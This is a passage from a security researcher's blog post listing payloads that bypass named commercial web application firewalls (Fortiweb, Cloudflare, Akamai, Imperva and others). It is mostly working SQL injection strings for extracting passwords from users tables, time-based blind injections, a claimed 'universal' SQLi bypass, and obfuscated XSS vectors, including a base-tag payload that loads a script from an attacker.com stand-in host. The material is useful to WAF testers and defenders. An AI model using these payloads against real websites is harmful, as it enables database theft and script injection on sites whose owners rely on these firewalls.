?sqli=1' and '1
PostgreSQL:
?sqli=1' and '1' ilike '1
MySQL:
?sqli=1' and '1' rlike '1
Exploitation phase
Only MySQL: Use conditional comments with version number
?sqli=-1' /*!00000union/SELECT(password)/*!00000FROM*/users LIMIT 1,1-- -
Boolean-based
?sqli=1' and (SELECT(password)/*!00000FROM*/USERS LIMIT 1,1) REGEXP '^A
PostgreSQL
I had a difficult time finding a bypass for this DBMS. In the end I just tried the no SELECT FROM vector.
?sqli=1'%2b((1,'admin', 'password: A', '~') < ANY (TABLE users LIMIT 1))::int%2b'0
200 OK
Boolean time-based injection
MySQL
?sqli=1'and/*!00000sleep(10)*/or'0
PostgreSQL
?sqli=1'and pg_sleep/*lo*/(10)::char=''or'0
MSSQL
?sqli=1'waitfor/*lo*/delay'00:00:10'-- -
Cross-site scripting
<base href="//attacker.com/xss.js/" />
I couldn't find any bypass other than this one. If you do you can contact me at ruben@nzt-48.org or through X @ruben_v_pina and I can add your vector to this post.
Fortinet Fortiweb
Another product from the same vendor, this one is more vulnerable than the previous.
SQL injection
Detection phase
?sqli=' and '1
?sqli=1'-'1
?sqli=1'-'0
SQLite, MySQL
?sqli='
?sqli=''
MySQL:
?sqli=' and '1' regexp '1
PostgreSQL:
?sqli=1' and '1' ilike '1
Exploitation phase
Only MySQL:
1' and (SELECT--1/*!00000FROM*/USERS WHERE password REGEXP '^[a-n]' LIMIT 1 --
1' /*!00000union*/SELECT(password)/*!00000FROM*/USERS -- -
I had a lot of bypasses but they got patched even though I never reported them. I tried to find other but I didn't succeed. So I had to go with the PostgreSQL no SELECT FROM vector.
?sqli=1'%2b((1,'admin', 'password: A', '~') < ANY (TABLE users LIMIT 1))::int%2b'0
Blind time-based injections
MySQL
?sqli=1'and!sleep/*lo*/(10)or'0
PostgreSQL
?sqli=1'and pg_sleep/*lo*/(10)::char=''or'0
MSSQL
?sqli=
Cross-site scripting
<base href="//attacker.com/xss.js/" />
Require user interaction (you might need to tweak it out if there are more form tags in the page:
<a href="%01javasc%09ript:alert%26grave;`">AAAAAAAA...
<form><button/formaction="%01javascri%09pt:alert`%26grave;">Click me</button>
<form><input type=submit formaction="%01javascri%09pt:alert`%26grave;" value="Click me">
<form action="%01javascr%09ipt:alert`%26grave;"><button type=submit>Clickme</button
<form action="%01javascr%09ipt:alert`%26grave;"><input type=submit value="Click me">
Firefox only, no user interaction:
<embed src="%01javasc%09ript:window['alert']%26grave;)" />
<object data="javascript:window['\a\l\ert']()" />
Sucuri
I'm still trying to break it. It's tough.
Universal WAF bypass for sqli
Sometimes websites are behind more than one WAF and when you manage to bypass the first one another one is triggered. In an attempt to find a bypass that was able to evade multiple layers of WAFs I wanted to see if it was possible to forge a universal vector that would work across all existing firewalls.
I thought that ModSecurity's/Azure's vector could be tweaked out to make it break any firewall it encounters since all WAFs rely on the detection of the keywords SELECT and FROM.
Even though I still haven't found a vector that always works, in the end I crafted 2 bypasses: one the works in MySQL and another for PostgreSQL, because the latter has some restrictions with ORDER BY which is essential for testing conditions.
MySQL
?sqli=1' and(values row(-10,310,310,310) union (TABLE users limit 1) ORDER BY(case when not(column_2 REGEXP '^2')then(column_0)end) LIMIT 1) != (-10,310,310,310)or'0
This vector works against all of the following WAFs:
- Amazon Cloudfront
- Oracle
- Cloudflare
- Symantec (Broadcom)
- Akamai
- Barracuda
- F5
- Imperva
- Wordfence
- Fortiguard
- Fortiweb
- Indusface
WAFs that block this injection:
- OWASP ModSecurity Core Rule Set (Blocks CASE WHEN)
- Microsoft Azure (Blocks ORDER BY)
- Radware (Blocks ORDER BY)
- Sucuri
It is worth noticing that this injection practically has no obfuscation or unusual syntax, and still the filters do not detect it.
The next bypass works against Microsoft Azure and ModSecurity too. It is much slower because in order to extract something you need to extract all the previous columns.
?sqli=1'and((table users limit 1) > row(1, 0b0110000101100100011011010110100101101110, 0b00000000, '~'))||0 div '1
column_0 has the value of '1', and column_1 has the username field 'admin' in binary. When the first 2 columns are extracted, then you can proceed to the third, starting with the lowest possible value (0x00). The value has to be in binary.
PostgreSQL
The pseudo-universal bypass for PostgreSQL is just the same as the previous one with dollar-quoted strings and with arithmetic operations instead of logical.
?sqli=1'%2b((1,$bla$admin$bla$,$bla$21$bla$,$bla$~$bla$) < any(table user limit 1))::int%2b'0
Unfortunately this vector fails with ModSecurity, Cloudfront and Radware. The fix for ModSecurity is easy, but Cloudfront and Radware I don't know yet.
Conclusions
All the WAFs that implement a parser were defeated, for both SQLi and XSS.
Sometimes fingerprinting a WAF is difficult, so when you encounter a 403 sometimes it is unclear what bypass to use. With the objective of not losing time trying different vectors, using an automated tool would be the way to go. Soon a tool that scans for SQLi vulnerabilities and XSS despite having a firewall in place will be presented.
These are other WAFs that I haven't tested yet:
- Sophos
- Citrix Netscaler
- Immunify360
- ZenEdge
- Sitelock
- GoCache
- Huawei Cloud WAF
- Tiger protect
- MyraCloud
- Tencent
- Qrator Labs
- Qi Anxin WAF
- Sonic Wall
- Alibaba
- Scutum
- Reblaze
- StackPath
- NewCloud
Many of these vectors work in Microsoft SQL Server as well, but the vectors that avoid SELECT FROM are not supported by MSSQL as to this date.
You can follow me on X: @ruben_v_pina
Related Material
The SQL injection filter evasion cheat sheet
https://nzt-48.org/sql-injection-filter-evasion-cheat-sheet
Reiners blog:
https://websec.wordpress.com/category/sqli
The Art of bypassing WAFs by @Brumens2
https://www.youtube.com/watch?v=VKnX1vj65Ro
Awesome WAF by Pinaki (0xInfection)
https://github.com/0xInfection/Awesome-WAF?tab=readme-ov-file
When WAFs go awry - MDSec
https://www.mdsec.co.uk/2024/10/when-wafs-go-awry-common-detection-evasion-techniques-for-web-application-firewalls/
The SQL injection knowledge base
https://websec.ca/kb/sql_injection
Web Application Obfuscation by Dr. Mario Heiderich, Gareth Heyes, David Lindsay and Eduardo Vela
https://www.amazon.com/Web-Application-Obfuscation-Evasion-Filters/dp/1597496049
Filed under: Hacking,SQL,Web Application Security,XSS - @ 2024-11-06 00:48
Tags: filter evasion, fireall, firewall, firewalls, injection, input validation, regex, rules, sql, sql injection, sqli, waf, wafs, web application firewall, web application firewalls
One thought on “Breaking the most popular Web Application Firewalls in the market”